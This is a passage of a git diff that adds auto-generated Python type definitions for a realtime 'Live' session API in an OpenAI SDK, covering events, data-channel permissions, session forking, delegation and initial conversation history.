+++ b/src/openai/types/live/custom_voice.py
@@ -0,0 +1,9 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from ..._models import BaseModel
+
+__all__ = ["CustomVoice"]
+
+
+class CustomVoice(BaseModel):
+ id: str
diff --git a/src/openai/types/live/custom_voice_param.py b/src/openai/types/live/custom_voice_param.py
new file mode 100644
index 0000000000..be2c6e3dfe
--- /dev/null
+++ b/src/openai/types/live/custom_voice_param.py
@@ -0,0 +1,11 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Required, TypedDict
+
+__all__ = ["CustomVoiceParam"]
+
+
+class CustomVoiceParam(TypedDict, total=False):
+ id: Required[str]
diff --git a/src/openai/types/live/data_channel_config.py b/src/openai/types/live/data_channel_config.py
new file mode 100644
index 0000000000..f01cd2818a
--- /dev/null
+++ b/src/openai/types/live/data_channel_config.py
@@ -0,0 +1,30 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .server_event_selector import ServerEventSelector
+
+__all__ = ["DataChannelConfig"]
+
+
+class DataChannelConfig(BaseModel):
+ """
+ Control which Live events an untrusted WebRTC frontend can send and receive over its data channel. These restrictions do not apply to trusted sideband connections.
+ """
+
+ allowed_client_events: Union[Literal["all"], List[str], None] = None
+ """Client event types that the frontend data channel may send.
+
+ Use 'all' to allow every client event; an empty array allows none. Omission
+ preserves the existing allow-all behavior.
+ """
+
+ allowed_server_events: Union[Literal["all"], List[ServerEventSelector], None] = None
+ """Server events that may be sent to the frontend data channel.
+
+ Use 'all' to allow every server event; an empty array allows none. Omission
+ preserves the existing allow-all behavior. Responses events use an object with
+ type 'response.event' and a response_event selector.
+ """
diff --git a/src/openai/types/live/data_channel_config_param.py b/src/openai/types/live/data_channel_config_param.py
new file mode 100644
index 0000000000..88beb1645f
--- /dev/null
+++ b/src/openai/types/live/data_channel_config_param.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable
+from typing_extensions import Literal, TypedDict
+
+from ..._types import SequenceNotStr
+from .server_event_selector_param import ServerEventSelectorParam
+
+__all__ = ["DataChannelConfigParam"]
+
+
+class DataChannelConfigParam(TypedDict, total=False):
+ """
+ Control which Live events an untrusted WebRTC frontend can send and receive over its data channel. These restrictions do not apply to trusted sideband connections.
+ """
+
+ allowed_client_events: Union[Literal["all"], SequenceNotStr[str]]
+ """Client event types that the frontend data channel may send.
+
+ Use 'all' to allow every client event; an empty array allows none. Omission
+ preserves the existing allow-all behavior.
+ """
+
+ allowed_server_events: Union[Literal["all"], Iterable[ServerEventSelectorParam]]
+ """Server events that may be sent to the frontend data channel.
+
+ Use 'all' to allow every server event; an empty array allows none. Omission
+ preserves the existing allow-all behavior. Responses events use an object with
+ type 'response.event' and a response_event selector.
+ """
diff --git a/src/openai/types/live/delegation_created_event.py b/src/openai/types/live/delegation_created_event.py
new file mode 100644
index 0000000000..2fe82848b7
--- /dev/null
+++ b/src/openai/types/live/delegation_created_event.py
@@ -0,0 +1,67 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["DelegationCreatedEvent", "Delegation"]
+
+
+class Delegation(BaseModel):
+ """The delegated work identifier and destination.
+
+ This object contains metadata, not the task text.
+ """
+
+ id: str
+ """The unique ID of the delegation.
+
+ Use this as delegation_id when replying to client-owned work or correlating
+ Responses events.
+ """
+
+ target: Literal["client", "responses"]
+ """
+ Where the Live model delegated the work: `client` for your application, or
+ `responses` for the configured Responses backend.
+ """
+
+ type: Literal["delegation"]
+ """The object type, always `delegation`."""
+
+ response_id: Optional[str] = None
+ """The ID of the Responses API response associated with a Responses delegation.
+
+ Omitted for client delegations.
+ """
+
+
+class DelegationCreatedEvent(BaseModel):
+ """
+ Returned when the Live model delegates work to your application or a Responses backend. Contains delegation metadata and the position on the session timeline where the work was delegated.
+ """
+
+ delegation: Delegation
+ """The delegated work identifier and destination.
+
+ This object contains metadata, not the task text.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ offset_ms: int
+ """
+ The position on the Live session timeline where the delegation was created, in
+ milliseconds from the beginning of the session.
+ """
+
+ type: Literal["session.delegation.created"]
+ """The event type, always `session.delegation.created`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/error.py b/src/openai/types/live/error.py
new file mode 100644
index 0000000000..e66d5ca31d
--- /dev/null
+++ b/src/openai/types/live/error.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+
+from ..._models import BaseModel
+
+__all__ = ["Error"]
+
+
+class Error(BaseModel):
+ """
+ Details of an error encountered by the Live session, including the affected parameter or client command when available.
+ """
+
+ code: str
+ """
+ A machine-readable code identifying the Live error, such as `unknown_parameter`.
+ """
+
+ message: str
+ """A human-readable explanation of the Live error."""
+
+ type: str
+ """
+ The category of error, such as `invalid_request_error` for an invalid Live
+ client command.
+ """
+
+ client_event_id: Optional[str] = None
+ """The event_id of the client command that caused the error, when supplied."""
+
+ param: Optional[str] = None
+ """The parameter that caused the error, when applicable, such as `session.voice`."""
diff --git a/src/openai/types/live/error_event.py b/src/openai/types/live/error_event.py
new file mode 100644
index 0000000000..773e98145a
--- /dev/null
+++ b/src/openai/types/live/error_event.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from .error import Error
+from ..._models import BaseModel
+
+__all__ = ["ErrorEvent"]
+
+
+class ErrorEvent(BaseModel):
+ """Reports an error in the Live session, such as an invalid client command.
+
+ Use error.client_event_id, when present, to identify the command that caused the error.
+ """
+
+ error: Error
+ """Details of the Live error and the client command that caused it, when known."""
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ type: Literal["error"]
+ """The event type, always `error`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/fork_client_event.py b/src/openai/types/live/fork_client_event.py
new file mode 100644
index 0000000000..e6426835cc
--- /dev/null
+++ b/src/openai/types/live/fork_client_event.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from .session_close_event import SessionCloseEvent
+from .session_update_event import SessionUpdateEvent
+from .response_create_event import ResponseCreateEvent
+from .thinking_append_event import ThinkingAppendEvent
+from .input_audio_mute_event import InputAudioMuteEvent
+from .commentary_append_event import CommentaryAppendEvent
+from .fork_session_start_event import ForkSessionStartEvent
+from .input_audio_append_event import InputAudioAppendEvent
+from .input_audio_unmute_event import InputAudioUnmuteEvent
+from .instructions_append_event import InstructionsAppendEvent
+from .response_item_create_event import ResponseItemCreateEvent
+
+__all__ = ["ForkClientEvent"]
+
+ForkClientEvent: TypeAlias = Annotated[
+ Union[
+ ForkSessionStartEvent,
+ SessionUpdateEvent,
+ InputAudioAppendEvent,
+ InputAudioMuteEvent,
+ InputAudioUnmuteEvent,
+ InstructionsAppendEvent,
+ ThinkingAppendEvent,
+ CommentaryAppendEvent,
+ ResponseItemCreateEvent,
+ ResponseCreateEvent,
+ SessionCloseEvent,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/live/fork_client_event_param.py b/src/openai/types/live/fork_client_event_param.py
new file mode 100644
index 0000000000..dd691511f6
--- /dev/null
+++ b/src/openai/types/live/fork_client_event_param.py
@@ -0,0 +1,34 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import TypeAlias
+
+from .session_close_event_param import SessionCloseEventParam
+from .session_update_event_param import SessionUpdateEventParam
+from .response_create_event_param import ResponseCreateEventParam
+from .thinking_append_event_param import ThinkingAppendEventParam
+from .input_audio_mute_event_param import InputAudioMuteEventParam
+from .commentary_append_event_param import CommentaryAppendEventParam
+from .fork_session_start_event_param import ForkSessionStartEventParam
+from .input_audio_append_event_param import InputAudioAppendEventParam
+from .input_audio_unmute_event_param import InputAudioUnmuteEventParam
+from .instructions_append_event_param import InstructionsAppendEventParam
+from .response_item_create_event_param import ResponseItemCreateEventParam
+
+__all__ = ["ForkClientEventParam"]
+
+ForkClientEventParam: TypeAlias = Union[
+ ForkSessionStartEventParam,
+ SessionUpdateEventParam,
+ InputAudioAppendEventParam,
+ InputAudioMuteEventParam,
+ InputAudioUnmuteEventParam,
+ InstructionsAppendEventParam,
+ ThinkingAppendEventParam,
+ CommentaryAppendEventParam,
+ ResponseItemCreateEventParam,
+ ResponseCreateEventParam,
+ SessionCloseEventParam,
+]
diff --git a/src/openai/types/live/fork_server_event.py b/src/openai/types/live/fork_server_event.py
new file mode 100644
index 0000000000..133103bee6
--- /dev/null
+++ b/src/openai/types/live/fork_server_event.py
@@ -0,0 +1,161 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .info_event import InfoEvent
+from .error_event import ErrorEvent
+from .response_event import ResponseEvent
+from .session_closed_event import SessionClosedEvent
+from .session_started_event import SessionStartedEvent
+from .session_updated_event import SessionUpdatedEvent
+from .input_audio_muted_event import InputAudioMutedEvent
+from .thinking_appended_event import ThinkingAppendedEvent
+from .delegation_created_event import DelegationCreatedEvent
+from .output_audio_delta_event import OutputAudioDeltaEvent
+from .commentary_appended_event import CommentaryAppendedEvent
+from .input_audio_unmuted_event import InputAudioUnmutedEvent
+from .instructions_appended_event import InstructionsAppendedEvent
+from .session_usage_updated_event import SessionUsageUpdatedEvent
+from .input_transcript_delta_event import InputTranscriptDeltaEvent
+from .output_transcript_delta_event import OutputTranscriptDeltaEvent
+
+__all__ = [
+ "ForkServerEvent",
+ "SessionInputAudioAppend",
+ "TransportDtmfReceived",
+ "TransportDtmfSend",
+ "TransportRinging",
+ "TransportAnswered",
+ "TransportFailed",
+ "TransportFailedError",
+]
+
+
+class SessionInputAudioAppend(BaseModel):
+ """
+ Input audio received from the primary transport and reflected to a Live sideband connection before model-input muting.
+ """
+
+ audio: str
+ """
+ Base64-encoded raw mono PCM16LE at 24 kHz received from the primary transport,
+ reflected to the sideband before model-input muting. This server event uses the
+ same audio key as the client command, but is not an acknowledgment of it.
+ """
+
+ type: Literal["session.input_audio.append"]
+ """The event type, always `session.input_audio.append`."""
+
+
+class TransportDtmfReceived(BaseModel):
+ """A SIP DTMF keypress received from the caller.
+
+ Delivered only to sideband observers.
+ """
+
+ event: str
+
+ event_id: str
+
+ type: Literal["transport.dtmf.received"]
+
+
+class TransportDtmfSend(BaseModel):
+ """A SIP DTMF keypress successfully sent by the hosted tool.
+
+ Delivered only to sideband observers; this is not a client command.
+ """
+
+ event: str
+
+ event_id: str
+
+ type: Literal["transport.dtmf.send"]
+
+
+class TransportRinging(BaseModel):
+ """The outbound SIP provider leg is ringing or providing early media.
+
+ Delivered only to sideband observers.
+ """
+
+ event_id: str
+
+ session_id: str
+ """The canonical Live session ID."""
+
+ type: Literal["transport.ringing"]
+
+
+class TransportAnswered(BaseModel):
+ """The outbound SIP provider leg answered and media is established.
+
+ Delivered only to sideband observers.
+ """
+
+ event_id: str
+
+ session_id: str
+ """The canonical Live session ID."""
+
+ type: Literal["transport.answered"]
+
+
+class TransportFailedError(BaseModel):
+ code: str
+ """The call setup failure code."""
+
+ message: str
+
+ type: Literal["call_error"]
+
+ param: Optional[str] = None
+ """The parameter related to the error, if any. Empty when no parameter applies."""
+
+
+class TransportFailed(BaseModel):
+ """An asynchronous outbound SIP setup failure.
+
+ Delivered only to sideband observers.
+ """
+
+ error: TransportFailedError
+
+ event_id: str
+
+ session_id: str
+ """The canonical Live session ID."""
+
+ type: Literal["transport.failed"]
+
+
+ForkServerEvent: TypeAlias = Annotated[
+ Union[
+ SessionStartedEvent,
+ SessionUpdatedEvent,
+ InputAudioMutedEvent,
+ InputAudioUnmutedEvent,
+ InstructionsAppendedEvent,
+ ThinkingAppendedEvent,
+ CommentaryAppendedEvent,
+ SessionInputAudioAppend,
+ OutputAudioDeltaEvent,
+ InputTranscriptDeltaEvent,
+ OutputTranscriptDeltaEvent,
+ DelegationCreatedEvent,
+ ResponseEvent,
+ SessionUsageUpdatedEvent,
+ SessionClosedEvent,
+ ErrorEvent,
+ InfoEvent,
+ TransportDtmfReceived,
+ TransportDtmfSend,
+ TransportRinging,
+ TransportAnswered,
+ TransportFailed,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/live/fork_session_config.py b/src/openai/types/live/fork_session_config.py
new file mode 100644
index 0000000000..4529bdfc3b
--- /dev/null
+++ b/src/openai/types/live/fork_session_config.py
@@ -0,0 +1,76 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .audio_format import AudioFormat
+from .client_config import ClientConfig
+from .responses_delegation_update_config import ResponsesDelegationUpdateConfig
+
+__all__ = ["ForkSessionConfig", "Audio", "Delegation"]
+
+
+class Audio(BaseModel):
+ """Audio format for a WebSocket fork.
+
+ WebRTC forks negotiate their audio format and must omit this field.
+ """
+
+ format: Optional[AudioFormat] = None
+ """
+ Audio encoding and sample rate for audio sent and received over a Live WebSocket
+ connection. WebRTC and SIP negotiate their media format separately.
+ """
+
+
+class Delegation(BaseModel):
+ """Overrides for the stored session’s Responses backend.
+
+ Only supported when the stored session already uses Responses delegation; the delegation type cannot change.
+ """
+
+ type: Literal["responses"]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+ responses: Optional[ResponsesDelegationUpdateConfig] = None
+ """Responses backend settings to update.
+
+ Omitted settings keep their existing values.
+ """
+
+
+class ForkSessionConfig(BaseModel):
+ """Overrides for a stored session after connecting to the fork WebSocket.
+
+ An empty object inherits the stored configuration; do not supply a new model. audio.format applies only to the new WebSocket connection. client overrides are only supported for WebRTC forks.
+ """
+
+ audio: Optional[Audio] = None
+ """Audio format for a WebSocket fork.
+
+ WebRTC forks negotiate their audio format and must omit this field.
+ """
+
+ client: Optional[ClientConfig] = None
+ """Frontend data-channel permissions for a WebRTC fork.
+
+ Omitted permissions inherit the stored values. Not supported for WebSocket
+ forks.
+ """
+
+ delegation: Optional[Delegation] = None
+ """Overrides for the stored session’s Responses backend.
+
+ Only supported when the stored session already uses Responses delegation; the
+ delegation type cannot change.
+ """
+
+ store: Optional[bool] = None
+ """Whether to store the forked session.
+
+ Omission inherits the stored session's setting.
+ """
diff --git a/src/openai/types/live/fork_session_config_param.py b/src/openai/types/live/fork_session_config_param.py
new file mode 100644
index 0000000000..089748640e
--- /dev/null
+++ b/src/openai/types/live/fork_session_config_param.py
@@ -0,0 +1,76 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+from .audio_format_param import AudioFormatParam
+from .client_config_param import ClientConfigParam
+from .responses_delegation_update_config_param import ResponsesDelegationUpdateConfigParam
+
+__all__ = ["ForkSessionConfigParam", "Audio", "Delegation"]
+
+
+class Audio(TypedDict, total=False):
+ """Audio format for a WebSocket fork.
+
+ WebRTC forks negotiate their audio format and must omit this field.
+ """
+
+ format: AudioFormatParam
+ """
+ Audio encoding and sample rate for audio sent and received over a Live WebSocket
+ connection. WebRTC and SIP negotiate their media format separately.
+ """
+
+
+class Delegation(TypedDict, total=False):
+ """Overrides for the stored session’s Responses backend.
+
+ Only supported when the stored session already uses Responses delegation; the delegation type cannot change.
+ """
+
+ type: Required[Literal["responses"]]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+ responses: ResponsesDelegationUpdateConfigParam
+ """Responses backend settings to update.
+
+ Omitted settings keep their existing values.
+ """
+
+
+class ForkSessionConfigParam(TypedDict, total=False):
+ """Overrides for a stored session after connecting to the fork WebSocket.
+
+ An empty object inherits the stored configuration; do not supply a new model. audio.format applies only to the new WebSocket connection. client overrides are only supported for WebRTC forks.
+ """
+
+ audio: Audio
+ """Audio format for a WebSocket fork.
+
+ WebRTC forks negotiate their audio format and must omit this field.
+ """
+
+ client: ClientConfigParam
+ """Frontend data-channel permissions for a WebRTC fork.
+
+ Omitted permissions inherit the stored values. Not supported for WebSocket
+ forks.
+ """
+
+ delegation: Delegation
+ """Overrides for the stored session’s Responses backend.
+
+ Only supported when the stored session already uses Responses delegation; the
+ delegation type cannot change.
+ """
+
+ store: bool
+ """Whether to store the forked session.
+
+ Omission inherits the stored session's setting.
+ """
diff --git a/src/openai/types/live/fork_session_start_event.py b/src/openai/types/live/fork_session_start_event.py
new file mode 100644
index 0000000000..cedb84f079
--- /dev/null
+++ b/src/openai/types/live/fork_session_start_event.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .fork_session_config import ForkSessionConfig
+
+__all__ = ["ForkSessionStartEvent"]
+
+
+class ForkSessionStartEvent(BaseModel):
+ """Start a Live session after connecting to a stored session’s fork WebSocket.
+
+ Send an empty `session` object to use the stored configuration.
+ """
+
+ session: ForkSessionConfig
+ """Overrides for a stored session after connecting to the fork WebSocket.
+
+ An empty object inherits the stored configuration; do not supply a new model.
+ audio.format applies only to the new WebSocket connection. client overrides are
+ only supported for WebRTC forks.
+ """
+
+ type: Literal["session.start"]
+ """The Live client event type. Always `session.start`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/fork_session_start_event_param.py b/src/openai/types/live/fork_session_start_event_param.py
new file mode 100644
index 0000000000..4a258f7ea3
--- /dev/null
+++ b/src/openai/types/live/fork_session_start_event_param.py
@@ -0,0 +1,34 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from .fork_session_config_param import ForkSessionConfigParam
+
+__all__ = ["ForkSessionStartEventParam"]
+
+
+class ForkSessionStartEventParam(TypedDict, total=False):
+ """Start a Live session after connecting to a stored session’s fork WebSocket.
+
+ Send an empty `session` object to use the stored configuration.
+ """
+
+ session: Required[ForkSessionConfigParam]
+ """Overrides for a stored session after connecting to the fork WebSocket.
+
+ An empty object inherits the stored configuration; do not supply a new model.
+ audio.format applies only to the new WebSocket connection. client overrides are
+ only supported for WebRTC forks.
+ """
+
+ type: Required[Literal["session.start"]]
+ """The Live client event type. Always `session.start`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/function_tool.py b/src/openai/types/live/function_tool.py
new file mode 100644
index 0000000000..0bbed5839e
--- /dev/null
+++ b/src/openai/types/live/function_tool.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["FunctionTool"]
+
+
+class FunctionTool(BaseModel):
+ """
+ A function tool available to the Responses backend when the Live model delegates a task.
+ """
+
+ name: str
+ """The name the delegated Responses model uses when calling this function."""
+
+ type: Literal["function"]
+ """The tool type. Always `function`."""
+
+ description: Optional[str] = None
+ """What the function does and when the delegated Responses model should call it."""
+
+ parameters: Optional[Dict[str, object]] = None
+ """A JSON Schema object describing the arguments accepted by the function."""
+
+ strict: Optional[bool] = None
+ """
+ Whether the delegated Responses model must follow the function’s parameter
+ schema exactly.
+ """
diff --git a/src/openai/types/live/function_tool_param.py b/src/openai/types/live/function_tool_param.py
new file mode 100644
index 0000000000..20a396a917
--- /dev/null
+++ b/src/openai/types/live/function_tool_param.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["FunctionToolParam"]
+
+
+class FunctionToolParam(TypedDict, total=False):
+ """
+ A function tool available to the Responses backend when the Live model delegates a task.
+ """
+
+ name: Required[str]
+ """The name the delegated Responses model uses when calling this function."""
+
+ type: Required[Literal["function"]]
+ """The tool type. Always `function`."""
+
+ description: Optional[str]
+ """What the function does and when the delegated Responses model should call it."""
+
+ parameters: Optional[Dict[str, object]]
+ """A JSON Schema object describing the arguments accepted by the function."""
+
+ strict: Optional[bool]
+ """
+ Whether the delegated Responses model must follow the function’s parameter
+ schema exactly.
+ """
diff --git a/src/openai/types/live/info_event.py b/src/openai/types/live/info_event.py
new file mode 100644
index 0000000000..03c11f14a6
--- /dev/null
+++ b/src/openai/types/live/info_event.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InfoEvent"]
+
+
+class InfoEvent(BaseModel):
+ """
+ An informational notice about the Live session, such as the event permissions applied to a frontend data channel.
+ """
+
+ code: str
+ """A machine-readable code for the notice, such as `data_channel_permissions`."""
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ message: str
+ """A human-readable explanation of the Live session notice."""
+
+ type: Literal["info"]
+ """The event type, always `info`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/initial_item.py b/src/openai/types/live/initial_item.py
new file mode 100644
index 0000000000..4f99f8f268
--- /dev/null
+++ b/src/openai/types/live/initial_item.py
@@ -0,0 +1,153 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = [
+ "InitialItem",
+ "Developer",
+ "DeveloperContent",
+ "User",
+ "UserContent",
+ "Assistant",
+ "AssistantContent",
+ "AssistantContentText",
+ "AssistantContentOutputText",
+]
+
+
+class DeveloperContent(BaseModel):
+ """Text supplied in a developer or user message when starting a Live session."""
+
+ text: str
+ """The message text to include in the Live session’s initial conversation history."""
+
+ type: Optional[Literal["input_text"]] = None
+ """The text content type. Always `input_text`."""
+
+
+class Developer(BaseModel):
+ """A developer message included in the initial text history of a Live session."""
+
+ content: List[DeveloperContent]
+ """The message content.
+
+ Supply exactly one text part for the initial Live conversation history.
+ """
+
+ role: Literal["developer"]
+ """The author of this history message. Always `developer`."""
+
+ id: Optional[str] = None
+ """An optional identifier for the supplied history message.
+
+ Live uses the message’s role and text to initialize the conversation.
+ """
+
+ status: Optional[Literal["incomplete", "completed"]] = None
+ """The supplied message’s status.
+
+ Live uses its text as history and does not resume an incomplete message.
+ """
+
+ type: Optional[Literal["message"]] = None
+ """The history item type. Always `message`."""
+
+
+class UserContent(BaseModel):
+ """Text supplied in a developer or user message when starting a Live session."""
+
+ text: str
+ """The message text to include in the Live session’s initial conversation history."""
+
+ type: Optional[Literal["input_text"]] = None
+ """The text content type. Always `input_text`."""
+
+
+class User(BaseModel):
+ """A user message included in the initial text history of a Live session."""
+
+ content: List[UserContent]
+ """The message content.
+
+ Supply exactly one text part for the initial Live conversation history.
+ """
+
+ role: Literal["user"]
+ """The author of this history message. Always `user`."""
+
+ id: Optional[str] = None
+ """An optional identifier for the supplied history message.
+
+ Live uses the message’s role and text to initialize the conversation.
+ """
+
+ status: Optional[Literal["incomplete", "completed"]] = None
+ """The supplied message’s status.
+
+ Live uses its text as history and does not resume an incomplete message.
+ """
+
+ type: Optional[Literal["message"]] = None
+ """The history item type. Always `message`."""
+
+
+class AssistantContentText(BaseModel):
+ """Assistant text supplied as conversation history when starting a Live session."""
+
+ text: str
+ """The message text to include in the Live session’s initial conversation history."""
+
+ type: Optional[Literal["text"]] = None
+ """The text content type. Always `text`."""
+
+
+class AssistantContentOutputText(BaseModel):
+ """
+ Assistant output text supplied as conversation history when starting a Live session.
+ """
+
+ text: str
+ """The message text to include in the Live session’s initial conversation history."""
+
+ type: Literal["output_text"]
+ """The text content type. Always `output_text`."""
+
+
+AssistantContent: TypeAlias = Annotated[
+ Union[AssistantContentText, AssistantContentOutputText], PropertyInfo(discriminator="type")
+]
+
+
+class Assistant(BaseModel):
+ """An assistant message included in the initial text history of a Live session."""
+
+ content: List[AssistantContent]
+ """The message content.
+
+ Supply exactly one text part for the initial Live conversation history.
+ """
+
+ role: Literal["assistant"]
+ """The author of this history message. Always `assistant`."""
+
+ id: Optional[str] = None
+ """An optional identifier for the supplied history message.
+
+ Live uses the message’s role and text to initialize the conversation.
+ """
+
+ status: Optional[Literal["incomplete", "completed"]] = None
+ """The supplied message’s status.
+
+ Live uses its text as history and does not resume an incomplete message.
+ """
+
+ type: Optional[Literal["message"]] = None
+ """The history item type. Always `message`."""
+
+
+InitialItem: TypeAlias = Annotated[Union[Developer, User, Assistant], PropertyInfo(discriminator="role")]
diff --git a/src/openai/types/live/initial_item_param.py b/src/openai/types/live/initial_item_param.py
new file mode 100644
index 0000000000..b8771d6348
--- /dev/null
+++ b/src/openai/types/live/initial_item_param.py
@@ -0,0 +1,150 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = [
+ "InitialItemParam",
+ "Developer",
+ "DeveloperContent",
+ "User",
+ "UserContent",
+ "Assistant",
+ "AssistantContent",
+ "AssistantContentText",
+ "AssistantContentOutputText",
+]
+
+
+class DeveloperContent(TypedDict, total=False):
+ """Text supplied in a developer or user message when starting a Live session."""
+
+ text: Required[str]
+ """The message text to include in the Live session’s initial conversation history."""
+
+ type: Literal["input_text"]
+ """The text content type. Always `input_text`."""
+
+
+class Developer(TypedDict, total=False):
+ """A developer message included in the initial text history of a Live session."""
+
+ content: Required[Iterable[DeveloperContent]]
+ """The message content.
+
+ Supply exactly one text part for the initial Live conversation history.
+ """
+
+ role: Required[Literal["developer"]]
+ """The author of this history message. Always `developer`."""
+
+ id: Optional[str]
+ """An optional identifier for the supplied history message.
+
+ Live uses the message’s role and text to initialize the conversation.
+ """
+
+ status: Optional[Literal["incomplete", "completed"]]
+ """The supplied message’s status.
+
+ Live uses its text as history and does not resume an incomplete message.
+ """
+
+ type: Literal["message"]
+ """The history item type. Always `message`."""
+
+
+class UserContent(TypedDict, total=False):
+ """Text supplied in a developer or user message when starting a Live session."""
+
+ text: Required[str]
+ """The message text to include in the Live session’s initial conversation history."""
+
+ type: Literal["input_text"]
+ """The text content type. Always `input_text`."""
+
+
+class User(TypedDict, total=False):
+ """A user message included in the initial text history of a Live session."""
+
+ content: Required[Iterable[UserContent]]
+ """The message content.
+
+ Supply exactly one text part for the initial Live conversation history.
+ """
+
+ role: Required[Literal["user"]]
+ """The author of this history message. Always `user`."""
+
+ id: Optional[str]
+ """An optional identifier for the supplied history message.
+
+ Live uses the message’s role and text to initialize the conversation.
+ """
+
+ status: Optional[Literal["incomplete", "completed"]]
+ """The supplied message’s status.
+
+ Live uses its text as history and does not resume an incomplete message.
+ """
+
+ type: Literal["message"]
+ """The history item type. Always `message`."""
+
+
+class AssistantContentText(TypedDict, total=False):
+ """Assistant text supplied as conversation history when starting a Live session."""
+
+ text: Required[str]
+ """The message text to include in the Live session’s initial conversation history."""
+
+ type: Literal["text"]
+ """The text content type. Always `text`."""
+
+
+class AssistantContentOutputText(TypedDict, total=False):
+ """
+ Assistant output text supplied as conversation history when starting a Live session.
+ """
+
+ text: Required[str]
+ """The message text to include in the Live session’s initial conversation history."""
+
+ type: Required[Literal["output_text"]]
+ """The text content type. Always `output_text`."""
+
+
+AssistantContent: TypeAlias = Union[AssistantContentText, AssistantContentOutputText]
+
+
+class Assistant(TypedDict, total=False):
+ """An assistant message included in the initial text history of a Live session."""
+
+ content: Required[Iterable[AssistantContent]]
+ """The message content.
+
+ Supply exactly one text part for the initial Live conversation history.
+ """
+
+ role: Required[Literal["assistant"]]
+ """The author of this history message. Always `assistant`."""
+
+ id: Optional[str]
+ """An optional identifier for the supplied history message.
+
+ Live uses the message’s role and text to initialize the conversation.
+ """
+
+ status: Optional[Literal["incomplete", "completed"]]
+ """The supplied message’s status.
+
+ Live uses its text as history and does not resume an incomplete message.
+ """
+
+ type: Literal["message"]
+ """The history item type. Always `message`."""
+
+
+InitialItemParam: TypeAlias = Union[Developer, User, Assistant]
diff --git a/src/openai/types/live/input_audio_append_event.py b/src/openai/types/live/input_audio_append_event.py
new file mode 100644
index 0000000000..49db0506cc
--- /dev/null
+++ b/src/openai/types/live/input_audio_append_event.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InputAudioAppendEvent"]
+
+
+class InputAudioAppendEvent(BaseModel):
+ """Send audio to a Live session over its primary WebSocket.
+
